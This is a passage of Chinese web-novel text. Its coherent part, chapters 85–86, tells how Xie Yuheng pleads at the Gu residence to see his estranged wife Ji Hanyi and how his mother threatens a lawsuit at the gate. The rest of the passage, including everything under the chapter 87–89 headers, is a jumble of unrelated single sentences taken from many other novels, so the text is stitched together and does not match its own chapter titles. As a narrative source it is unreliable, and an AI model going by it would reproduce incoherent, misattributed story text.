目光在落到谢玉恒呕血晕过去时,凉薄的唇边淡淡浮了抹凉意。
展开第二封信,是谢玉恒往大理寺告了病假,还是谢之观写信去告假的。
这时候谢之观应该已经在去任上的路上了,恩赐宴一过,地方官员必须在第二日动身,不能耽误,他在路上都知晓这事,谢玉恒的呕血应是真的。
一声淡淡讥讽轻嗤,又让马车往都察院去。
第一卷 第84章 谢玉恒上顾府
一阵阵爆响,一颗颗黑木,连根拔起,魔藤漫天崩裂,八翼龙蛟像是无头苍蝇似的,痛苦至极的盲目乱撞。
潘伟轩正为被倪怀柔躲开的事情烦心,又听沈浪口口声声的质疑和暗示,潘伟轩的情绪立刻愤怒起来。
无影剑意,漂渺无踪,将剑意融入世间万物中,可剑不出鞘而杀人。王道隆自问自己的无影剑意已经练到巅峰之境,只要心境圆满,他的剑无处不在,无物不融,自然伤人于无影无形。
“是的,未央公主昨夜扮成了男子在烟雨楼看了烟雨楼红牌出演。”黑衣人回答的有些迟疑。
吕丘建扫了一眼,围过来的大多是三四十岁的“青年学者”,那些年纪更大的或许是自矜身份故而没有上前。
只要轩辕澈哪里不顺着楚和和,楚和和就哭,哭起来哄也哄不好,轩辕澈怕她哭,只好投降。
再者一般修炼内功之人,内息会自动流转护体,丁鹏掌风中的剧毒只有突破防线才会发挥效果,越是内力深厚之人,护体内劲越是强悍,越不容易被伤害。
“因克雷的乡巴佬,你知不知道你正在做一件很危险的事情?”这个时候,斯蒂芬妮的声音在一旁冷冷的响起。虽然她看不见沐沁沂,但是迪塞尔法师的一举一动还是刚好落在视线中的。
从来没想过有一天自己讨厌的倪怀柔会成为自己的上司,郑芊芊不甘心的瞪了倪怀柔一眼,可是自己的姑姑都已经特意交代了,自己又不能转身走人。
天性薄凉豁然转身,身躯单薄的他爆发出了好像是借来的力量,两步跨出,直接冲到了狐狸大姐面前,被两名兽人战士伸手拦住。
翠浓仿佛早已在这里等着他,此刻垂着头,慢慢地走过来,轻轻道:“你要走?“傅红雪点点头。
“我已经练成了归元大法,在雄霸三分归元的基础上将自身的一身所有功力全部归元合一,如今我的实力比当初的雄霸都强出数倍不止!那只是归元真气自带的分化万物之威能而已,不必惊讶!”秦霜随意的点了点说道。
他直接大喊着,颤抖的手指着手机屏幕,大口的喘息,最后化为虚无的笑容。
一座整齐的“大楼”平底而起,每一块方块,都像提前准备好的一样,可以完美的放置在适当的位置。
何永生好半天才冷静下来,手忙脚乱的开始与关晓军有来有往的在棋盘上杀了起来。
“那我就用伽马号去对付那只肌肉怪兽吧。”钱步奇自然只能挑阿斯特隆来使用新武器。
“这个没事的,毕竟只是制造不是驾驶,我觉得赵凯博士的技术水平和专业能力相当不错。”我梦忽然冒了出来。
“不吃了不吃了,我来不及了,今天约了几个演员试镜。”一上楼,颜萱就一副火急火燎的样子。
他才刚要身化本体,拼尽手段,打算在后面抢夺一个蒲团坐下的。
如果是正常情况下,三个孩子打伤三十多名成年人,难度不是一般的大,可是三个少年出手突然,下手又重,又是在他们毫无提防之下,因此这些人贩子倒了大霉。
天色蒙蒙亮,周景晏赶至南城门的时候,刚好便见到已然送了人离开,乘坐马车回来的萧玉绮。
她的余光瞥着外面,见顾瑾琛三人走开后,她迅速的离开,取了寄存的东西,然后出了商场。
“那这就难办了!”陆言听着一阵头疼,最怕宠坏了的孩子,最难对付。
沈辰旭眯了下眼,他突然凑近身,手掌邪恶的伸进被子里,吓得姚若芳缩了缩身子。
既然他们隐藏在虚空,自然是向对老顽童出手的,但此时,他们有了忌惮,感觉这应该不是一个明智之举。他们貌似玩不起。
他越是往下说,冷夜白的脸色就越是冷,到最后,尹瞳瞳出来的时候,看见的冷夜白,简直能媲美一尊冰雕,还是没有表情那种,不知道这两人在这里说了些什么,让尹瞳瞳一颗心跟着七上八下的。
而钱富义呢,他不是傻子,不会明知道自己的股份被转出去了还笑的那么开心。
容瑾也没推脱,一路将云筱此时的情况和云茂哲说了一遍,便见到云茂哲的眉头一直死死的皱着,可是也没说责怪的话,对于皇陵山之行,容瑾更是直接隐瞒了下来。
而那人还得到了殿下的大方承认,难免让他们在那人身上感到比易恒来的还要大的危机感。
宁温柔喜欢宁时修这件事困扰了林一一很久很久,她有想过要告诉宁时修,可是不得不承认这是一个蠢到了极点的做法,不但会让宁时修对自己更加反感,或许还会怀疑自己是故意挑拨他们兄妹关系。
而且,如果从一开始就动用瑰仙剑,对他的修炼之路也会产生阻碍。
她只想从对方口中听到这种指示,不想由自己主动去做出这样的判断,因为理所当然的认为属于自己的只有战场,真正的军人不应该去触碰政治的丑恶,所以想把它甩给别人,自己心安理得。
贺林晚也听说了珈蓝给后宫送礼的事情,听着慕岚平讲淳阳特意穿了一身新衣带上了那顶玉冠去湖阳面前炫耀,把湖阳给气哭了,贺林晚却忍不住笑了。
可是渊老那通天的实力摆在眼前,他说的话绝对是可信的,再说了明眼人谁看不出那两个黑衣使者的招式?
末世后陈四就受了重伤,昏迷不醒,他们带着陈四,哪里有机会去那些大型的种植基地找吃的?
“真的么,就这么说定了呢!嘻嘻。爷爷,我们走吧。”说着冲风度再次笑了笑就拉着爷爷的手走出了房间。
当初,知道天祭神果的时候,孙良鹏也在一定程度上了解了天祭神果。
第85章 她只是还在闹脾气罢了
谢玉恒等了大半晌却没能见到季含漪,心里如何能甘心。
他想问她,她今日上午送来的那一封信又是什么意思?
她当真要与他做到这个地步么。
她将他往旁的女子那里推,她在他伤重的时候离开,他都不怪她了,只要她能够回来。
顾晏看着谢玉恒现在这副失魂落魄,脸色苍白,像是有些站不稳的模样,依旧是一副淡笑并不怎么上心的模样:"谢大爷,你多说无益,请回吧。"
谢玉恒见着顾晏这请离的姿态,不由的一把推开了面前顾晏的手,咬着牙,冷眼看着他:“我与含漪之间的事情,你怕是没插手的资格。”
“含漪只要见了我,便一定会回心转意的。”
顾晏淡笑的眼神这才渐渐落了下去,淡淡道:"谢大爷,漪表妹不愿见你呢。"
谢玉恒身上微晃了晃,他抬头越过顾晏,看向顾府的门匾。
从前他不屑来这里,也以为来了这里,必然要看顾家人那些谄媚的脸色,还要应付那些客套的话,这些也都是谢玉恒最厌烦的。
可他没想到有朝一日,自己站在顾府门前,竟然却不得进。
垂在身侧的手掌捏紧,谢玉恒深吸一口气看向顾晏:“我与含漪之间只是误会,我也没有与含漪和离的意思,烦请你进去与顾家老太太传唤一声,若是含漪愿意见我一面,顾家提什么要求都可以。”
说着谢玉恒摆摆手,让身后的随从将手里抱着的东西拿到前面来,又看着顾晏:“这些是我送给岳母与顾老太太的薄礼,里头有两只百年人参,还请你进去说一声,给我一次见含漪的机会。”
顾晏看了眼站在谢玉恒身侧那两个仆人手里抱着的东西,个个盒子精美,一看就知晓里头的东西定然是价值不菲的。
但是过去三年,谢玉恒从未登门过一次,从未给他这时候口中的岳母送过什么东西,三年后再来,又当顾家是什么?他随便施舍一点顾家就要凑上去?
顾晏眯了眯眼,只是善于伪装的神情并未露出里头的冷色,他依旧好脾气的开口:“谢大爷,好聚好散,也别再来纠缠我表妹。”
谢玉恒听了这话脸色就是微微一变。
好聚好散。
这些日他听过太多这样的话了。
所有人都在劝着他好去耗散,就连祖母也不愿帮他了。
但是他如今最不愿听到的,也是这句话。
谢玉恒冷着脸看了挡在面前的顾晏一眼,再也不愿与顾晏多说一句。
他直到现在心里都坚信着,只要自己见了季含漪,只要自己与她说清了,季含漪一定能体谅他的。
他从前许诺过要照顾明柔,他也能与她保证,即便纳了明柔为妾,也不会再与明柔发生什么,明柔也是应了的。
含漪不过是气他纳妾,只要他不碰明柔,含漪就能气消了。
她一向都是如此的,她一向都不闹,即便闹过,他从前也不过解释一句她就再也不闹了。
如今也一定是这样的。
三年都是这般,又怎么可能在这一月里就变了。
谢玉恒一把推开面前的顾晏,就要朝着大门处走去。
顾晏皱眉看着谢玉恒的动作,过去拦住了他:“谢大爷,这里是顾府。”
谢玉恒冷冷看着顾晏挡在自己面前的手臂,面容不屑:“你敢拦着我?”
顾晏看着谢玉恒眼里的轻蔑不屑,眼神暗了暗,又拱手:“谢大爷若是硬闯的话,在下也只能差人去叫兵马司的人来处置了。”
谢玉恒冷笑一声:“即便兵马司的人来,我要见我的妻,也没有说不过去的。”
顾晏的唇一抿,看了谢玉恒一眼。
他开口:“谢大爷,漪表妹嫁给你三年,你未来看过我姑母一回,上回你为了你的表妹,让她独自害怕的留在雪里,你知道她风寒了多久么?”
说着顾晏的脸上带着讽刺:“你当然不知晓,你只顾着陪着被你接回去的表妹,给她送各种补身的汤药嘘寒问暖,哪里又有空闲管顾你的妻子?”
“你但凡还有一点人性,便求你放过了漪表妹,我表妹也已要成全你与你心仪之人,你现在到顾府门前来闹,又
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有何意义?”
“难不成你觉得我漪表妹三年在谢家的蹉跎还不够?还要接她回去继续蹉跎?”
“漪表妹从前千好万好,没有配不上你的,婚事是谢家求的,当初也是因着谢家的好名声才应的,你便当做件好事,放过了她。”
说着顾晏抱手,对着谢玉恒深深一鞠。
谢玉恒眼眶发红,心头发颤。
这句放过她的话比刀子还要锋利,更叫他反驳不出来一句。
手掌抵在胸口出,谢玉恒站在寒风里,亦弯腰紧紧捏着顾晏的肩膀,没有半分往日清正的模样,双眼通红的看着顾晏:“求你容我进去见她一眼,只见一眼便好。”
顾晏看着谢玉恒通红眼里那抹隐约的泪光,依旧面容淡淡:“谢大爷若是再在这里纠缠,只会叫漪表妹愈加厌烦罢了。”
“漪表妹对谢大爷也没任何期待,谢大爷若是想享齐人之福,可往后另娶。”
说着顾晏对着身后的随从使了个眼色,让他们去谢家知会一声来接人,现在谢玉恒这副模样看起来的确不怎么好,他也的确担心谢玉恒在顾家门口出了什么事。
接着顾晏伸手推开谢玉恒握在自己肩膀上的手,他垂眼,又低声道:“我还要回去与祖母回话,谢大爷,外头天寒,你也早些回去。”
说着顾晏再看了眼谢玉恒:“若是漪表妹愿意见你,听说你来,又怎么不肯见呢?”
顾晏说完这一句直接转身就走。
他对现在的谢玉恒做派全是嗤之以鼻,他万般好的表妹,那样好又软糯的性子,却在谢家被伤成这般,要不是刚才怕与谢玉恒起了冲突,又给漪表妹惹出一些不必要的麻烦出来,顾晏是不可能这般与他好好说话的。
谢玉恒失魂落魄的看着顾晏离去的背影,与往前走了两步,喃喃道:“他不愿见我,我便一直在这里等着她……”
跟在谢玉恒身后的随从也惊了一下,从前哪儿见过大爷对少夫人这般在意过,他们都是随身跟在大爷身边的人,这时候也全不明白,赶紧又去劝着谢玉恒先回去。
第86章 谢家人找上门
夜里季含漪才刚沐浴梳洗完,里头穿了件白色的交领中衣,刚擦干的长发披散在肩头一侧,外头披了件厚厚的毯子,怀里抱着热度正好的手炉,坐在罗汉榻上,伏身在罗汉榻上的小坑桌上认真画画。
上回季含漪在抱山楼见到沈肆那次,她出去的时候章先生就站在外面,她便问章先生这些日能不能多送几幅。
她本是试探的问,若是不行便罢了。
毕竟送去抱山楼的画卷不少,她也不想麻烦了章先生。
她是想着和谢玉恒和离后就要离开京城,一来是想着在离开之前多存点银子总是好的,二来也是恐怕往后也没机会将画送来了。
但章先生却对她说无论送多少去都没关系,她便放心了。
但她画一幅至少也要十来日,便日夜的赶。
容春端了炭盆过来季含漪的身边放下,看季含漪正低着头用心落笔,欲言又止了好半晌,还是忍不住开口:“现在这天气还是冷的很,大夫人安排姑娘来这宜春院住,虽说拨了一个丫头,但却连炭都没送来,还是昨天顾二爷差人送了些炭来,但今天看炭又要烧完了,那明日屋子里怎么办。”
“夫人虽然也住在顾府,可夫人的药,姑娘从前也是花销了大半的,年节送去的东西也贵重,又不是要长久住在这里,怎么又这样怠慢?”
季含漪听了容春这些话,脸上依旧是宁静的模样,视线落在画上。
本就是寄人篱下,便不能事事计较,至少她还有个容身之所,这于她来说就是天大的恩惠。
小桌上的纱灯朦胧,纱灯旁放了几个小碟子,小碟上是作画的颜料,季含漪抬笔染了石绿,光线落在她娇美的脸庞一侧,烟眸中染了几点昏黄光线,秀挺的鼻梁也跟着柔美了几分,又侧头看向容春低声道:“这些话往后别说,如今顾家也难,一些炭而已,大抵是忘了安排,大不了用完去买回来便是。”
说着季含漪拉了拉身上的毯子笑了下:“买炭的银子我还是有的,你便当作我们去了金陵,样样需得自己出,是不是心里就好受多了?”
容春一愣,姑娘这样说起来的话好似的确是好受了些,就是替姑娘觉得有些寒心……
两人正低低说着话,前门口的人却来传话,说谢玉恒这会儿还没走,谢家的来了人,这会儿都在前门处的,说是谢家大夫人也来了,在前门口吵嚷,顾府各房的也惊动了。
季含漪本以为谢玉恒虽说在外头站着,但他那样的人,自来对她的事情没什么耐心,不过做做样子,也不会站多久就会离开的。
从前他便是个不怎么耐烦的性子,府里琐事他样样都不喜听,样样都不插手,在他心里唯一只记得关于李眀柔的事情。
这三年她看在眼里,谢玉恒对李眀柔的照顾是尽心尽力的。
谢老太太说谢玉恒是没认清自己的心,但季含漪看得清楚明白,他早就认清了,本能的反应,下意识的动作骗不过旁人。
她尽可以忍受这些,但谢玉恒独独不该在他们走到这个地步的时候,又不愿放手。
这叫她觉得他卑劣无耻。
季含漪将手上的笔放下去,叫容春去拿她的外裳来。
容春也知晓这会儿不好耽误,赶忙去了。
季含漪穿戴妥当出去时,却见着顾晏等在她院门口。
顾晏站在夜色中,长身玉立的站着,也不知道他在院子外等了多久。
他见着季含漪出来,手上拢着斗篷,素发上只有一根银簪点缀,粉衣在夜色中格外素净与显眼,那银色回字形的暗纹在灯笼下辗转流动,如潺潺流水,带着一股叫人心神荡漾的香气,静悄悄的惹眼。
顾晏见着季含漪来,忙往前走了一步,挡在了季含漪的面前低声道:“漪表妹不用去,有我在的。”
季含漪听了这话,抬头往顾晏身上看去,只见着顾晏低着头看她,但那黑黑的眼眸又好似没对上她的视线,她便小声开口:“我恐怕谢家在门口处闹的有些大,惊扰了外祖母与舅母们。”
“这事是我没处置好,我这会儿出去与她们说清,也免得夜里扰了清静。”
顾晏唇一抿,略有些急促的看向季含漪:“我没觉得惊扰。”
他手捏紧,低低看着眼前的人,急促的心跳叫他话语梗塞,又恨不得将所有心里话都解释出来。
他等在这里,便不想让季含漪出去再见那个人。
那个根本不值得的人。
他又或许是更害怕的是,害怕季含漪见着谢玉恒那般放低姿态的赔罪,她会心软。
她会对谢玉恒还有一丝期待。
这时候又有下人匆匆从后头过来,一见着顾晏便急忙道:“二爷,大夫人急着找您呢。”
“那谢家的说我们藏了人,若是不让她们见表姑娘,他们就报顺天府衙门去,还说待会儿巡检司的人就要来了,一起去衙门里说。”
顾晏一顿,他是没想到谢家竟然这么无耻。
没有拿到和离书,季含漪现在的确是谢家的儿媳,谢家又比顾家势力大。
那谢家二老爷就是顺天府衙门通判,若要是真去了顺天府衙门,这桩事顾家是讨不了个好的,季含漪也必得跟着谢家回去。
顾晏掐紧手,让那传话的随从先过去,又看向季含漪:“漪妹妹不必管这些,我不会让你跟着他们会谢家去的。”
季含漪此时已经明白事情到了这个地步,已经是到不得不解决的时候了。
若是真的要对簿公堂,不能在顺天府衙门。
季含漪对着顾晏低声道:“晏表哥先放心,我心里有数,这事真去了京府衙门,对顾家没好处,硬来也不是办法。”
“还是先去看看情况再打算。”
顾晏一顿,看着季含漪,她心里所有都明白。
这一刻他心里升腾起一股难堪的羞愧,他想要护着她,却没那么大的能力。
季含漪与顾晏说完了话,又从顾晏的面前走过去。
顾晏看着季含漪的背影,顿了顿眸子,跟在她的身后。
到了前门的时候,就正见着脸色难看的顾大夫人也匆匆往前门去,嘴里气恼的念叨:“大晚上的又出些事情,她住在这儿一天,什么时候能消停?这会儿老太太也惊动了。”
“那谢家既然有意接她回去,谢家的门第顶顶好了,她偏不愿,作天作地的还把顾家也拉上了
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。”
“人家谢家都在朝廷,没得牵连了我晏哥儿怎么办?现在人家还说报京府去,真真是个扫把星!”
顾大夫人的声音不大不小,但在万籁寂静的夜色里也格外清晰。
季含漪的步子顿在了原地。
张氏只顾着急急忙忙往前走,眼里根本没瞧见后脚过来的季含漪,一边说着话,一边匆匆叫人去开门。
顾晏听了母亲的话,连忙看向季含漪,他从她身后站到她身侧,为母亲解释道:“我母亲那些话都是随口说的,表妹万别当真。”
季含漪抬头瞧着顾晏脸上有些紧张的神色,笑了下:“晏表哥放心,我添了麻烦是真的,也没怪舅母那些话。”
顾晏心里发紧,还要说话,又听季含漪到:“这会儿我先出去,她们是来找我的,我会去说清的。”
季含漪才往门外去,就见着大舅母正站在林氏面前,林氏身后跟着好些丫头仆从,一个个手里拿着灯笼,将外头站着的那一块都照得亮堂堂的。
又见林氏身上穿的极富贵,腰背挺得笔直,拢着袖子,一派大族当家夫人的模样,正微微仰头垂眉,轻蔑又高傲的看着站在面前的顾家大夫人。
林氏说话中气十足又带着两分傲慢:“也不是谢家不讲理,但你们不放我儿媳出来,我们只得请京府衙门的人来,到时候我们一起上衙门里去断断。”
“谁家媳妇不在夫家跑出去的,谁家媳妇夫君伤了她不还在跟前伺候?”
她又扬眉冷哼一声:“到底是当初不该可怜她,如今将我儿害成了这样,大半夜将我儿子拒之门外不肯见,我倒是要让人去断断,这又是哪门子的规矩!”
林氏说的话中气十足,又带着几分气势,张氏虽说也是顾家掌家的,但到底门第差了一大截,气势上自然就弱了。
又看林氏一脸傲慢,显然是得了理,她气势越发弱了下去,不由自主的就将自己置于弱势,小心开口:“这事的确是含漪做的不对,只是两人现在正商议和离,回来其实也说得过去,咱们这会儿进去将话说清,不过都是误会,何必还要闹去官府去?”
林氏这会儿听了这话却是眼里冰冷的冷哼:“刚才我儿子带了那么些东西来拜见顾家老夫人,去探望她岳母,你们顾家是怎么做的?”
“这大冷的天,你们连门都没让他进,我家玉恒要是出了个什么事情,你们担得起?”
“现在叫我们进去好好说话,顾大夫人,这会儿只怕晚了,我们上衙门里说去,总之毁了名声的不是我,我倒是要看看,往后谁敢要这样的儿媳!"
“她居然将夫君拒之门外,这样的儿媳我们也不敢要。”
站在林氏旁边的谢玉恒听了母亲话皱了皱眉,低声道:“母亲,我只想见含漪一面解释清楚,你别说这些。”
林氏恨铁不成钢的看向身边的谢玉恒:“不这样说她肯见你,不这样说,这顾家大门现在能打开?不这样说你今天能将她带走?”
“不过就是个落魄了的顾家,在谢家眼里算得了什么?你可是谢家长孙,将来谢家要交到你的手里的,你就任由这种破落户趾高气扬?”
第一卷 第87章 求沈肆做主和离
提到吃,洛千千是最乐意的了,什么烦恼都能抛到九霄云外。更何况,今天冷大少特别点了不少精美的甜点,就怕她们因为欧子轩的突然出现坏了好心情。
白芨连带着雪泥和鸿爪已经退出了主屋,他伸手拉上了四周的帘子,屋子里暗了下来。
萧妄怀白了他一眼,冷冷的说道:“那是自然!”只不过为何听着安承这话好像有哪里不对劲的样子?
她的双眸黯淡下来,她从未有一刻觉得自己的心如此的痛过,原来自己这么多年来的坚持,就是换来一句连朋友都不是。
“没有反对嘛!那好我才换个问法,同意的人请举手!”莉莉明知道这些股东的心里是煎熬的,尤其是冷家的姑姑与姐姐们,比任何人都难堪。可她就是要冷家的人难堪!她们不难堪了,哪能显示出她的成就呢?
随着四大名著的发行,显然是取得了很不错的效果,只不过接下来的推进,他不能够亲自参与了,所以只能提前将计划写好,交给各处的负责人。
兰老师诧异,手里的粥已经被唐糖接过去,她端着走直接推开了莫言的房间。
要是平时,安迪可能看都不想多看他一眼,只不过现在她的心情郁闷得很,加上想起霍承言对自己的那副样子,面前这个不断对自己迎合的男人看上去好像顺眼了那么一点点。
他也姓吴,让别人给机会算是怎么回事儿,既然他们想要这么弄的话,那他倒是要看看谁更适合总经理的位置。
对于双方的争斗,数位长老选择中立,其中就包括他们师父仙朝二十三长老-叶鸿成。
存真殿大门微微开启,邵珩嗅到里面常年不断地宁神香,心中纷乱、惊怒、疑惑,一瞬间消散得无影无踪。
这下轮到萧无邪翻白眼了,你丫的这么大火气不是也说不出个所以然吗?在这扮什么大尾巴猪呢。
几公顷,几公顷,几公顷的大地倒塌,浑浊的浪花泛着白沫飞溅,整个世界宛若掉进了末日了,放目望去四面八方都在倒塌,树林翻入水浪里,青色的树枝树叶大片大片的漂浮着。
这个十三岁的少年,已经忘去了所有,只呆呆地仰望着,时间恍若已经过去了千万年,直到纱水宫主轻轻落地,把米斗的灵魂带回来,顿时翻山倒海的心绪涌上来,让米斗脸色苍白,手心都颤抖了起来。
李云尘背后感到一丝凉意,这是东方原使出的另一种技法,剑影从百米外瞬间袭至,有出奇制胜之效。
而且明朝的精锐部队都已经调往前线,现如今京城之内的军队久不上战场。在他看来都是一些中看不中用的摆设,攻入京城就在旦夕之间。
就在此时,狄水心却又乘胜追击,她还是轻轻的哼着,甚至好像是在哼唱着某一种歌谣,但这绝对不是普通的歌谣,而是一种将灵魂攻击化作歌声的攻击手段。
萧毓出现的突然,离去也突然,从未解释为何相助,为何赠他机缘。他总觉得与她似曾相识,却确实是第一次相见。据说她和叔叔住在昆仑附近,那里冰天雪地,却不知如何养出她这般灵动活泼的性子。
“博士有命,打断融合,击杀夜十七宿。”紫狐虽是停下了脚步,却还带着疑惑地重复了一遍命令。
莫流看了看青色的面积大想了想,决定还是将最后一份天晶粉也洒上去。
飞机虽然闪现逃出了狮子狗的攻击范围,但是狮子狗扑向飞机的那一下普攻,却是躲不开的。
龙兵的跑步是天生加锻炼出来的,几乎无人能敌,方婕也不行,她刚跑了一会就气喘吁吁,汗流浃背了。
若说之前沐千寻还未全然展现开功力,百里孤苏尚有一战的能力,如今嘛,就只有被碾压的份儿了。
这一次,轮到他目送她离开。念云最后看了一眼他沧桑的面容,眼里的泪几乎掉下来。
就在茂木前之筑旅团长调兵遣将,想用第13联队突破中国守军岱王山和山水坡防线时,其辖下第17联队也辗转向赤峰开来。
此时的天华深吸了一口气,眉宇间带着一抹浓重,显然察觉到了天玄的棘手程度。
刺客一剑迎面劈来,正中裴度的头顶,裴度从马上滚下来,掉进了路边的水沟里。
夜倾城耸耸肩,夜皇不是她夜倾城父亲的秘密,冒似就算消息灵通的佣兵会所也不知道,可见当初这身体生母瞒得有多么隐密,而夜皇,也只是隐隐约约的有些怀疑,不过还是觉得,她是他的种。
所以她才明白,人不像东西,你争取一下,努力一下,或许便能得到了。
”我不甘心,我不甘心”炎彬的内心之中不断的呐喊道,这样的事情自己怎么可能能够甘心呢?自己这辈子很多的事情还没有做自己绝对不能够死在这里。
原来猪八戒上次对犀利说的竟是谎话,其真实的下界原因竟是偷看嫦娥洗澡被罚下放,如果这两人的一番对话被犀利听到的话,一定会气的彻底暴走不可。
未央叹了口气,心中悲痛欲绝,有的时候被人卖了能帮别人数钱也是一件很不错的事情,等到自己这样即使被人卖掉了,连卖了多少钱都不知道的时候才是真正的可悲。叹了口气未央无奈的走了下去。
庞江早已注意到了王楚平,只是钱风传音让他不要胡來,所以他才沒有轻举妄动。
“是。”带着墨镜的男人应了声便离开,独留下穿着西装却依旧略显纤细的少年,摆弄着剩下的光秃秃的花径,唇边扬起的笑,带着几分掩不住的病态。
第一卷 第88章 进都察院和离
一眨眼已经进入十月两天了,阿丽莎的情况不但没有任何好转,反而开始跟艾伦也变得生疏了起来。
陶然一边得意地想着,一边打开手机,给很长时间不联系的张海龙打了个电话,托他给吴紫娟这个超级灯泡安排一间可以长期租住的房子。
艾伦看看四周,发现这个时间的餐厅几乎没有人,而他们所坐的这个角落更是僻静,连光线都昏暗地很。
自从仓九瑶醒来之后,越君正便除了仓九瑶洗澡更衣,其他的时候几乎寸步不离的守在她身边。
他知道,这个时候,母亲吴氏已经知道了朱厚煌在皇帝哪里说了什么话了。
“是我想求仙问道。”我连忙说道。若让他们知道我此次上山是求管贤仙人救雪夜御史,那我可真的要死不葬身之地了。
“你没有听说过这个名字吗?我总是听到有人在我耳边呼唤她。”无疆失望地说。
云荼亦侧耳倾听,第一幻兽学院即将出现的大事,会不会跟那些在第六关出现的低阶魔族有关?
李先皓自然也很乐意多结交一些朋友,前世的他就是所谓的“高处不胜寒”,不仅是因为他是个见不得光的黑客的原因,也因为他的顶尖技术的原因,能够和他有话题的人寥寥无几,所以前世的他几乎没有任何朋友。
尔后,忍者们抛弃了暗杀,一个个手持武器冲了上去,挥舞着苦无、太刀浴血奋战,一个倒下了,另一个就马上替上去,一个忍者浑身扎满了苦无与手里剑,在倒下去的那一刻,还高呼着口号,场面极其悲壮。
他们看到了在地下河边奔跑的两人,也在悄悄地议论着。此时,他们来到了海军营地,并且救回都督的消息,还并未完全传开。
余衍仙没有回答,李恣也不再需要她的回答,因为她已经感受到了。她的身体纯净,炉火纯青,巩固修为,累积力量,趋自圆满。超越真我,诞生超我,粉碎真空。
他这些话说的轻松,丝毫不提自己这些年来过的有多么艰辛,回到漠洲之后,他第一件事情并不是回到魔宫,毕竟他是出去执行任务,而且这任务还没有完成的。
霸气无敌渐渐地靠近了夜游千里和暗夜,距离仅有四五码之遥,夜游千里和暗夜仿佛伺机而动的猎豹,等待时机,一击毙命。
“为什么?”莫军华来了后,只问了一句,之后一言不发看着他,看到李宏嘴唇干裂,倒了杯水给他。
片刻后,更衣室的门被推开,只有浴巾包裹着下半身的旗木佐云走了进来。
李先皓刚刚接通电话,电话对面便传来了一声非常生气的声音,而且仅仅一句话之后,李先皓手机中便传来了忙音。
南天影业的所有员工,大家突然觉得,有一位秦烨这样的强者当自己的老板,真是一件十分幸运的事情。
我没有明说,刘楠想问题也想的比较偏。刘楠低呼一声,不敢置信的问:不会是燕飞来回来了吧?
相位传送再次开启,下一刻,长春终于安静了下来,这座城市就这样不要了?当然不,只是暂时丢给了孙克明和金宗宇掌管。
不能开口问楚眼,所有人的眼神自然而然的就望向了太上皇,见太上皇铁青着一张脸,恨恨的瞪向楚眼,心中明白这父子俩怕是之前没有通过气,关于立后的旨意。
讲过了英语,又有两老外,闪出来,同时,还有三个老外陀枪,负责警戒。
那些战斗中,有牺牲,有胜利,有同伴离去后的默默哀悼,有战胜强敌后的欢欣鼓舞,更有……其实她的实力并不足以解决这一切,所以她经常倒下,在那些怪物的利爪中挣扎。
首先,上一次答应上官宏武的是黑冢,其次,上一次上官宏武被楚天追急了,态度上难免有几分低‘迷’,再有,上一次冥界之风还不是尸妖国度的BOSS。
她听到我这句话,动作怔了怔,手上的力道松懈了一点,我趁她松懈时,翻身就要起来。
证明这还真是难为我了,我和李致硕在一起的大部分时间,都是正经的师生关系。现在突然要我拿证明,我要怎么证明?
我还想着要不要试图假装打错电话什么的,不过看到我妈带着泪光的凶狠眼神,我也只好作罢。
在刀疤老者的对面,手里拿着奇特拐杖,光着头的老太淡淡说道。
刘壮民叫唤一声,林董余皱眉走进酒店,由经理带着来到洗手间门口。
第一卷 第89章 进后堂见沈肆
“什么鬼机灵?”谢伊琳满眼好奇地看着我问道,她显然没听懂我在说什么。
“徐浩明是吧?行,你既然来了就试试吧,来看下这段戏,试试看行不行。”许断闻言就明白这货是想看有没有什么捷足先登的机会呢,就点头道。
老唐一听如蒙大赦,立刻就跑开了,他可不想受夫人和少爷的夹板气。
我再次走了进来,这次屋内没有冯香蔓,胖子和墨恋从我身后走进了屋内,放下了不少的东西。
想了想,姑且试一试,帮了他,至少能落个好,争取他的好感,这人比较正气,应该会感激自己,这不是和自己先前的思维吻合了吗?
当他走进洗手间,他再也不住抽搐的嘴角,哈哈大笑起来。这个杜明太特么有意思了。
“千字三千么。”离恨闻言摸着下巴道:“是挺不低的。”确实挺不低,但也就跟他当前的买断价一个价位。
许雯雯不等叶窈窕说完,人已经嗖的一下冲出了房间,等他们二人一前一后赶到急救室门口时,那里已经围了很多的人,那些病人家属本来就无所事事,听说有人自杀了,都是过来看热闹的。
不过霍新晨并不打算马上服用,这东西越往后使用越好,最好是自己晋升到繁宇八星后服用这也是最好的了,因为第九条星脉是最难储存星子的。
远处,那道模糊的黑色身影,竟与萧阳如此相像,两者的影子,在她们的脑海中,不断重叠。
胖墩受惊,愤怒叫嚷,嘴巴张开,一团气旋从口中飞出,缠绕在周身,欲要外放出去,吞吃对方。
看着消失不见的人影,老者双目中露出沉思的神色。也不知这位巫,是否好打交道。又是否愿意,为我人族四处奔走。
一招不成王双连忙变招,一双巨拳轰然朝着冲过来的魔象砸去,一道道一米多长的风刃出现在拳头上嘶嘶作响,一股股龙卷在王双的周围产生朝着魔象卷去。
“红笺姐姐!慕安!可卿姐姐!”十九一一看去,嘴里更是蹦出一个接着一个的名字。
而且,真要比公平,察修炼的功法,腾也没学过,那些输给察的战士,同样没学过,都不公平。
闷哼一声,鱼佳连续向后退了数步才止住后退的身体,原本光洁如玉的手掌上出现一抹阴森的黑点,黑色的阴气朝着手掌四周蔓延而去。
可就在眼看着徐寒便要取下那周渊的性命之时,一声震天的巨吼忽的从洞口方向传来。
说到正事,周渊也不敢含糊,他感受将手中的肉饼放下,将嘴里的肉饼咽下,然后便沉声将他们来到衍下城后,寻找牛头村的过程中发生的一切一五一十的讲了出来。
一只黑色魔爪蓦然出现,指爪长有二十丈,摊开时如同遮天之手,就连附近的魔云都被其牵引,发生剧烈旋转,最后像是一圈波动的漩涡,带动整个天地翻覆,乾坤倒转。
越想越觉得有可能,这么一来的话,就能够理解了,如果真是这个样子的话,就可以解释为什么苏明开启了卡牌大招之后,会一点作用都没有了。
刚走到中间,我忽然心中一动,竖起耳朵仔细听了听,似乎有轻微的脚步声,是从走廊前面传来的,我赶紧按住韩霜的肩膀慢慢蹲下身。
其他人则彻底吓住了,都一动不动的。全场一片安静,显然所有人都还没有从这突然的转变之中,反应过来。
虽然对方的敌意来得莫名其妙,但苏渊没有直接动手开打,刚才查到的信息让祂有种事情并不简单的感觉。
这散人部落还是有很多可圈可点之处的,至少这里要比常氏部落还要热闹,从大能者级别的修士到最低级的战士应有尽有。
陈氏的大阵比常氏的大阵差了许多,并不能用分神进入作战,想要与阵内的人斗,一是利用大阵自身的威能,二就是亲自进入战斗了。
